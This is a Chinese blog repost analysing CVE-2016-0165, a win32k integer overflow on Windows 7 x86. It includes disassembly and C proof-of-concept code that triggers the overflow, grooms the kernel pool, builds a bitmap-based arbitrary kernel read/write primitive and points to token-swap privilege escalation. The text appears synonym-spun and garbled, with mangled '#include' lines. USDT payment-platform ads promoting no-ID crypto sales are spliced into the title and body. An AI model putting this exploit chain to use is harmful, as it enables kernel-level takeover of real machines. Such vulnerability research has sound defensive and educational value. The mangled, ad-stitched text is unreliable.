首页 科技正文

usdt转账手续费(www.payusdt.vip):CVE-2016-0165 Win32k破绽剖析条记

约稿员 科技 2021-04-02 19 0

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

CVE-2016-0165 是一个典型的整数上溢破绽,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对盘算的内存块巨细参数举行溢出校验,导致函数有分配到远小于所期望巨细的内存块的可能性。而函数自己并未对分配的内存块巨细举行需要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出接见的 OOB 问题,严重情形将导致系统 BSOD 的发生。

设置破绽触发环境

[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001

破绽原理

定位破绽

通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当挪用ExAllocatePoolWithTag函数分配内存之前,增添了对ULongAdd函数和ULongLongToULong函数的挪用。这两个函数在运算时若是发现运算数值跨越了ULONG整数的局限就会返回ERROR_ARITHMETIC_OVERFLOW错误码,以是这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。

接着我们追踪一下这个参数NumberOfBytes到底是从那里来,到那里去,利便我们加倍深入的领会这个破绽。

.text:BF876200 ; ---------------------------------------------------------------------------
.text:BF876200
.text:BF876200 loc_BF876200:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j
.text:BF876200                 lea     eax, [ebp+NumberOfBytes]
.text:BF876203                 push    eax             ; unsigned int *
.text:BF876204                 xor     edi, edi
.text:BF876206                 inc     edi
.text:BF876207                 push    edi             ; unsigned int
.text:BF876208                 push    [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B                 call    ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210                 test    eax, eax
.text:BF876212                 jl      loc_BF8763D2
.text:BF876218                 mov     eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B                 push    28h
.text:BF87621D                 pop     ecx             ; ecx为乘数
.text:BF87621E                 mul     ecx             ; mul reg32 的谜底保留在edx:eax之中
.text:BF876220                 lea     ecx, [ebp+NumberOfBytes]
.text:BF876223                 push    ecx             ; unsigned int *
.text:BF876224                 push    edx
.text:BF876225                 push    eax             ; 效果保留在[ebp+NumberOfBytes]中
.text:BF876226                 call    _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B                 test    eax, eax
.text:BF87622D                 jl      loc_BF8763D2
.text:BF876233                 cmp     [ebp+NumberOfBytes], 0
.text:BF876237                 jz      short loc_BF87624E
.text:BF876239                 push    67646547h       ; Tag
.text:BF87623E                 push    [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241                 push    21h             ; PoolType
.text:BF876243                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF876249                 mov     [ebp+P], eax
.text:BF87624C                 jmp     short loc_BF876252
.text:BF87624E ; ---------------------------------------------------------------------------

这段代码配合注释应该很容易看明晰,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,履历了如下的运算历程:

[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28

即函数ExAllocatePoolWithTag申请的内存巨细为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域

.text:BF87615C                 mov     esi, [ebp+arg_0]
(省略无关内容)
.text:BF876189                 mov     eax, [esi+4]
.text:BF87618C                 mov     [ebp+NumberOfBytes], eax

在MSDN可以找到PATHOBJ的结构

typedef struct _PATHOBJ {
  FLONG fl;
  ULONG cCurves;
} PATHOBJ;

+4偏移地址是被界说为ULONG cCurves的成员变量

cCurves

The number of lines and Bezier curves that make up the path.

该变量示意当前PATHOBJ工具的曲线数目。也就是说(曲线数目 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目的巨细的内存。这里可以看看未修补的素人版本,功效是一致的:

.text:BF873FEA ; ---------------------------------------------------------------------------
.text:BF873FEA
.text:BF873FEA loc_BF873FEA:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j
.text:BF873FEA                 lea     eax, [ecx+1]    ; ULONG cCurves
.text:BF873FED                 imul    eax, 28h
.text:BF873FF0                 test    eax, eax
.text:BF873FF2                 jz      short loc_BF87400A
.text:BF873FF4                 push    6E677247h       ; Tag
.text:BF873FF9                 push    eax             ; NumberOfBytes
.text:BF873FFA                 push    21h             ; PoolType
.text:BF873FFC                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF874002                 mov     edx, [ebp+arg_8]
.text:BF874005                 mov     [ebp+P], eax
.text:BF874008                 jmp     short loc_BF87400E
.text:BF87400A ; ---------------------------------------------------------------------------

接着往后跟进,查看一下申请出来的这块内存会被若何使用

.text:BF8740D4 loc_BF8740D4:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j
.text:BF8740D4                 push    [ebp+arg_8]     ; struct _RECTL *
.text:BF8740D7                 mov     [eax+10h], esi
.text:BF8740DA                 mov     eax, [ebx]
.text:BF8740DC                 push    [ebp+P]         ; struct EDGE * ; [ebp+P]保留的就是ExAllocatePoolWithTag申请的内存
.text:BF8740DF                 mov     dword ptr [eax+30h], 48h
.text:BF8740E6                 mov     eax, [ebx]
.text:BF8740E8                 mov     [eax+18h], ecx
.text:BF8740EB                 mov     eax, [ebx]
.text:BF8740ED                 mov     [eax+14h], ecx
.text:BF8740F0                 mov     eax, [ebx]
.text:BF8740F2                 mov     [eax+34h], ecx
.text:BF8740F5                 mov     eax, [ebx]
.text:BF8740F7                 lea     ecx, [eax+48h]
.text:BF8740FA                 mov     [eax+1Ch], ecx
.text:BF8740FD                 mov     eax, [ebx]
.text:BF8740FF                 add     eax, 20h
.text:BF874102                 mov     [eax+4], eax
.text:BF874105                 mov     [eax], eax
.text:BF874107                 lea     eax, [ebp+var_68]
.text:BF87410A                 push    eax             ; struct EDGE *
.text:BF87410B                 push    [ebp+arg_0]     ; struct EPATHOBJ *
.text:BF87410E                 call    ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)

函数ExAllocatePoolWithTag申请的内存被看成函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么器械,我们可以在windows的源码中找到

class EDGE
{
public:
    PEDGE pNext;
    LONG  lScansLeft;
    LONG  X;
    LONG  Y;
    LONG  lErrorTerm;
    LONG  lErrorAdjustUp;
    LONG  lErrorAdjustDown;
    LONG  lXWhole;
    LONG  lXDirection;
    LONG  lWindingDirection;
};

这个结构用来形貌将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的巨细为40,即0x28。看看函数vConstructGET干了些什么。

VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound)
{
// Create an empty GET with the head node also a tail sentinel

    pGETHead->pNext = pGETHead; // mark that the GET is empty
    pGETHead->Y = 0x7FFFFFFF;   // this is greater than any valid Y value, so
                                //  searches will always terminate

    PPATH ppath = po.ppath;

    for (PATHRECORD *ppr = ppath->pprfirst;
         ppr != (PPATHREC) NULL;
         ppr = ppr->pprnext)
    {
    // If first point starts a subpath, remember it as such
    // and go on to the next point, so we can get an edge.

        PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;

        pptfx = ppr->aptfx;

        if (ppr->flags & PD_BEGINSUBPATH)
        {
            pptfxStart = ppr->aptfx;        // the subpath starts here
            pptfxPrev = ppr->aptfx;         // this points starts next edge
            pptfx++;                        // advance to the next point
        }

   // Add edges in PATH to GET, in Y-X sorted order.

        pptfxEnd = ppr->aptfx + ppr->count;

        while (pptfx < pptfxEnd)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);
            pptfxPrev = pptfx;
            pptfx++;                        // advance to the next point
        }

     // If last point ends the subpath, insert the edge that
     // connects to first point.

        if (ppr->flags & PD_ENDSUBPATH)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);
        }
    }
}

函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被看成参数传入函数vConstructGET,函数vConstructGET循环挪用函数AddEdgeToGET来将两个点形貌的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,最后将下一个EDGE元素地址作为返回值返回。

pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET
    pGETHead->pNext = pFreeEdge;

    return(++pFreeEdge);

由于函数ExAllocatePoolWithTag申请的内存巨细发生了整数溢出,导致这块内存的巨细远小于我们的预期,之后举行大量写入操作的时刻,将会造成OOB笼罩其他内容,从而导致系统BSOD的触发。

触发路径

  • NtPathToRegion函数

win32k中的许多函数都市挪用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存巨细的函数来抵达破绽,这里我们选择NtPathToRegion函数:

DCOBJ::DCOBJ((DCOBJ *)&v9, a1);
  ......
  XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);
  if ( v8 )
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ......

该函数用于凭证被选择在 DC 工具中的路径 PATH 工具确立区域 REGION 工具,天生的区域将使用装备坐标,唯一的参数 HDC a1 是指向某个装备上下文 DC 工具的句柄。由于区域的转换需要闭合的图形,以是在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。在乐成执行从路径到区域的转换操作之后,系统将释放目的 DC 工具中的闭合路径。另外该函数可在用户态历程中通过 gdi32.dll 中的导出函数在用户历程中举行直接挪用,这给路径追踪带来便利。

XEPATHOBJ v7被作为第二个参数通报给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ组织函数中依据用户工具DCOBJ v9举行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ组织函数中依据NtPathToRegion函数的唯一参数HDC a1举行了初始化。

DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2)
{
  DCOBJ *v2; // esi

  v2 = this;
  *(_DWORD *)this = 0;
  *((_DWORD *)this + 1) = 0;
  *((_DWORD *)this + 2) = 0;
  XDCOBJ::vLock(this, a2);
  return v2;
}

出乎意料,这个函数的组织着实很简朴,凭证句柄参数 HDC a2 获取该句柄指向的装备上下文 DC 工具指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 工具成为目的 DC 工具的用户工具。

  • XEPATHOBJ::XEPATHOBJ组织函数

    XEPATHOBJ::XEPATHOBJ(HPATH hPath)
    {
      ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);
    
      if (ppath != (PATH*) NULL)
      {
    
          // Load up accelerator values:
    
          cCurves = ppath->cCurves;
          fl      = ppath->fl;
      }
    
      return;
    }
    

此函数首先挪用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH工具增添共享计数并返回工具指针,以使当前 XEPATHOBJ 工具成为目的 PATH 工具的用户工具。之后对cCurves赋值,没错,就是前面谁人导致了溢出的cCurves

至此,我们揪出了cCurves的泉源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数举行随便巨细的的内存分配。

破绽触发

  • PolylineTo 函数

虽然刚刚狂言不惭的说了要控制HDC a1句柄,但也没那么简朴,我们要思量详细若何操作。这里我们使用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 工具中绘制一条或多条直线:

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  ......
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
  • NtGdiPolyPolyDraw函数

PolylineTo 函数最终挪用NtGdiPolyPolyDraw系统挪用:

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,若是绘制的是线条(不管是直线照样贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 示意绘制直线。

cpt = 0;
for ( i = 0; ; ++i )
{
    v13 = cpt;
    if ( i >= ccpt )
    break;
    cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )
    goto LABEL_56;

NtGdiPolyPolyDraw函数划定了挪用时的线条总数目,不能大于 0x4E2000,否则直接返回失败。

switch ( iFunc )
          {
            case 1:
              v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);
              break;
            case 2:
              v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);
              break;
            case 3:
              v11 = GrePolyBezier(hdc, v7, ulCount);
              break;
            case 4:
              v11 = GrePolylineTo(hdc, v7, ulCount);
              break;
            case 5:
              v11 = GrePolyBezierTo(hdc, v7, ulCount);
              break;
            case 6:
              v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);
              break;
            default:
              v18 = 0;
              goto LABEL_47;

凭证参数iFunc的值进入差其余绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会挪用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值泉源于从 PolylineTo 函数传入的 cpt 变量。

  • GrePolylineTo 函数
DCOBJ::DCOBJ(&v12, a1);
    ......
    EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ(&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )
      goto LABEL_12;
    v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

GrePolylineTo 函数首先凭证 HDC a1 参数初始化 DCOBJ v12 用户工具,接下来界说了 PATHSTACKOBJ v13 用户工具。函数中挪用 PATHSTACKOBJ::PATHSTACKOBJ 组织函数对 v13 工具举行初始化,并在初始化乐成后挪用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

  • EPATHOBJ::bPolyLineTo 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
{
  EPATHOBJ *v4; // esi
  int result; // eax
  int v6; // [esp+4h] [ebp-Ch]
  unsigned int v7; // [esp+8h] [ebp-8h]
  struct _POINTL *v8; // [esp+Ch] [ebp-4h]

  v4 = this;
  if ( !*(this + 2) )
    return 0;
  v6 = 0;
  v8 = a3;
  v7 = ulCount;
  result = EPATHOBJ::addpoints(this, a2, &v6);
  if ( result )
    *(v4 + 1) += ulCount;
  return result;
}

EPATHOBJ::bPolyLineTo 执行详细的从 DC 工具的当前位置点到指定点的画线操作,通过挪用 EPATHOBJ::addpoints 执行将目的的点添加到路径中的详细操作。执行乐成后,将参数 ulCount 的值增添到成员变量 cCurves 中。

现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)cpt变量就可以在 ExAllocatePoolWithTag 函数举行随便巨细的的内存分配,但离完整的poc尚有点距离,接着组织poc。

poc组织

由于是32位系统,以是ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),以是我们需要组织0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x‭6666665‬ 。然则cCurvesRGNMEMOBJ::vCreate 函数的最先位置挪用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,详细代码如下:

VOID EPATHOBJ::vCloseAllFigures()
{
    PPATHREC ppr = ppath->pprfirst;
    while (ppr != (PPATHREC) NULL)
    {
        if (ppr->flags & PD_ENDSUBPATH)
        {
            if (!(ppr->flags & PD_CLOSEFIGURE))
            {
                ppr->flags |= PD_CLOSEFIGURE;
                cCurves++;
            }
        }
        ppr = ppr->pprnext;
    }
}

此函数遍历PPATHREC列表,并将所有未处于闭合状态的纪录项设置为闭合状态,即将末尾的坐标点和起始的坐标点举行毗邻,以是会使得cCurves的值增添1。也就是说,我们只要杀青v6 > 0x‭6666664‬就可以造成整数溢出了。然则NtGdiPolyPolyDraw系统挪用绘制的数目不能跨越0x4E2000,否则就会直接返回失败,以是我们需要多次挪用来到达溢出。完整代码如下:

,include <Windows.h>
,include <wingdi.h>
,include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char* argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

虽然我们预想的很好,然则触发BSOD的几率异常低,由于笼罩后续内存的操作自己不会失足,错误着实是发生在后续释放或取内存的时刻,而我们又不能保证后续内存存储的是什么器械,以是触发全靠运气,我在内陆试了很多多少次都没有触发,不外可以借助Windbg来查看,确实是分配了一块0x18巨细的内存。

破绽行使

内核内存结构

虽然我们的poc触发乐成率不高,但它确实损坏了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。但若是我们提前举行堆结构,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时刻就不会对相邻内存块举行校验,这样虽然依旧举行了OOB,但并不会触发溃逃。

,include <Windows.h>
,include <wingdi.h>
,include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

int main(int argc, char* argv[])
{

    for (LONG i = 0; i < 5000; i++)
    {
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
    }
    for (LONG i = 0; i < 7000; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
    }
    for (LONG i = 2000; i < 4000; i++)
    {
        DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    DebugBreak();
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path

    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

由于0x18字节不利便占位,以是我们稍微提高画线数目为0x6666667,使得分配0x68巨细的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先挪用CreateBitmap 函数申请大量的0xF90 巨细的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。然则由于SURFACE结构自己就要占用0x154字节,以是使用 CreateAcceleratorTable 函数。通过挪用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数确立 AcceleratorTable 内核工具以填充内存悠闲、然后在其中制造朴陋的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够掷中我们放置的朴陋提升更大的概率。随后通过 DestroyAcceleratorTable 函数释放掉中央一部门 AcceleratorTable 工具,为 RGNMEMOBJ::vCreate 函数留下足够多的时机。

现在,RGNMEMOBJ::vCreate 函数分配的内存块乐成掷中在我们放置的内存间隙中,其相邻的内存页也都相符我们先前组织的内存结构。

溢出笼罩内存块

由于确立的线条着实太多,会举行很大局限的内存接见,晦气于后续操作,我们需要限制AddEdgeToGET 函数的接见局限。

if ( pClipRect )
  {
    if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
      return pFreeEdge;
    if ( iYStart < pClipRect->top )
    {
      bClip = 1;
      iYStart = pClipRect->top;
    }
    if ( iYEnd > pClipRect->bottom )
      iYEnd = pClipRect->bottom;
  }
  ipFreeEdge_Y = (iYStart + 15) >> 4;
  *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
  *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
  if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
    return pFreeEdge;

函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,以是 pFreeEdge 指针不向后移。第二处返回逻辑的判断条件是:当前两点形貌的边中,竣事坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;若是 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge 指针指向的地址。此处的右移 4 比特位只是在还原之前在 EPATHOBJ::createrecEPATHOBJ::growlastrec 函数中存储坐标点时左移 4 比特位的数值。因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置最先延续写入的 EDGE 个数。

sizlBitmap 位于 0xfe29d028 位置,域 pvScan0 位于 0xfe29d038 位置。两者的值都没有被复写成理想的值,然则注重到有几处地址的数据被修改成 0xFFFFFFFF 这样的特殊值。这样一来就不能使位图 SURFACE 工具直接作为内存页的起始位置,需要在 EDGE 缓冲区内存块和位图 SURFACE 工具内存块之间增添“垫片”,以使 0xFFFFFFFF 这样的特殊值能被笼罩到我们稀奇关注的域中。

垫片

这个垫片的作用着实就是把 EDGE 缓冲区内存块前面的f90内存块分成两个内存块,内存页起始位置我们申请一块内存来占位,巨细合适的话就可以使切割出来的堆块的域 sizlBitmap 被修改成 0xFFFFFFFF 。我们先释放掉所有的f90内存块,然后分配一块较大然则又不跨越f90的内存块,这里使用设置剪贴板的方式来分配用作垫片的缓冲区,在不挪用函数 OpenCliboard 并清空剪贴板数据的条件下挪用 SetClipboardData 函数会发生潜在的内存泄露,被分配的剪贴板数据工具在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正由于这个特征,在后续通过破绽溢出笼罩该工具的数据结构之后,不用郁闷在会在发生销毁工具时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下:

,include <Windows.h>
,include <wingdi.h>
,include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

VOID
CreateClipboard(DWORD Size)
{
    PBYTE Buffer = (PBYTE)malloc(Size);
    FillMemory(Buffer, Size, 0x41);
    Buffer[Size - 1] = 0x00;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
    CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
    GlobalUnlock(hMem);
    SetClipboardData(CF_TEXT, hMem);
}

int main(int argc, char* argv[])
{

    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = 5; // same values to ignore
    }
    for (LONG i = 0; i < 75; i++)
    {
        point[i].y = i + 1; // to rewrite such edge elements.
    }
    HDC hdc = GetDC(NULL);
    auto ret = BeginPath(hdc);
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    ret = EndPath(hdc);
    // 0xF90+0x70=0x1000
    for (LONG i = 0; i < 4000; i++)
    {
        // 0xE34+0x154+8=0xF90
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
    }
    for (LONG i = 0; i < 5500; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        // 0x0D*6+0x12+4+8~0x70
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
    }
    for (LONG i = 0; i < 4000; i++)
    {
        // free original bitmaps
        ret = DeleteObject(hbitmap[i]);
        hbitmap[i] = NULL;
    }
    // 0xB70+0x420=0xF90
    for (LONG i = 0; i < 4000; i++)
    {
        // create shim clipdatas
        // 0xB5C+0xC+8=0xB70
        CreateClipboard(0xB5C);
    }
    for (LONG i = 0; i < 4000; i++)
    {
        // create usable bitmaps
        // 0xB1*0x01*4+0x154+8=0x420
        hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
    }
    for (LONG i = 2000; i < 4000; i++)
    {
        // dig hole to place edge buffer
        ret = DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    DebugBreak();
    PathToRegion(hdc);
    return 0;
}

接着我们跟进一下看看内存到底有没有被乐成笼罩

成员sizlBitmap.cy 被笼罩成 0xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以行使该 sizlBitmap.cy 成员值的广漠局限,将当前位图 SURFACE 工具作为主控位图工具,通过其对位于下一内存页中的位图 SURFACE 工具举行操作,将其作为扩展位图 SURFACE 工具,笼罩其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 工具,实现“指哪打哪”的目的。

定位位图句柄

pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
    if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
    {
        index = i;
        break;
    }
}
hbmpmain = hbitmap[index];

我们通过循环挪用 GetBitmapBits 函数遍历位图句柄数组以定位被笼罩数据的位图 SURFACE 工具的句柄,获取 0x1000 字节的一整个内存页巨细的位图数据。大部门配有被笼罩数据的位图 SURFACE 工具的像素点数据区域巨细依旧是原来的 0xB1*0x01*4=0x2C4 字节巨细,以是返回值只可能是不跨越 0x2C4 的数值;而针对被我们笼罩数据的主控位图 SURFACE 工具而言,由于 sizlBitmap 成员的值被笼罩成 0x010xFFFFFFFF 数值,以是在盘算位图像素点数据“现实巨细”时,盘算出来的效果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。这样的话,当遍历到主控位图工具的句柄时,函数的返回值将一定是比 0x2D0 大的数,因此得以掷中。掷中乐成后 pBmpHunted 缓冲区中就存储了从当前位图工具的位图像素点数据区域起始地址最先的 0x1000 字节局限的内存数据。

BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    LONG ret = 0;
    pBmpHunted[iExtpScan0] = addr;
    ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (ret < 0x1000)
    {
        return FALSE;
    }
    ret = SetBitmapBits(hBmpExtend, cb, pvBits);
    if (ret < (LONG)cb)
    {
        return FALSE;
    }
    return TRUE;
}

接着定位拓展位图工具,由于在句柄表中二者纷歧定相邻,以是我们可以讲拓展位图的巨细修改,再通过上面的设施来遍历拓展位图的句柄。接着通过主控位图 SURFACE 工具控制扩展位图 SURFACE 工具的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 工具的 SURFACE->so.pvScan0 成员域修改为随便内核地址,便可轻松实现对内核随便地址的读写,“指哪打哪”的目的就实现了。

提权

这一部门就大同小异了,直接替换Token就好。至此,我们乐成实现了提权。

参考文章

https://xiaodaozhi.com/exploit/56.html

https://www.anquanke.com/post/id/93105

版权声明

本文仅代表作者观点,
不代表本站丰台生活网的立场。
本文系作者授权发表,未经许可,不得转载。

评论

好文推荐

站点信息

  • 文章总数:3129
  • 页面总数:0
  • 分类总数:16
  • 标签总数:718
  • 评论总数:1328
  • 浏览总数:655605